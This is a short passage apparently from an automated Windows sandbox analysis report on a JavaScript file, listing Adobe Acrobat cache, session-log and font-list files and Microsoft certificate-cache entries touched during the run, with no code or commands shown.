C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3220

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
7605302032554420656.js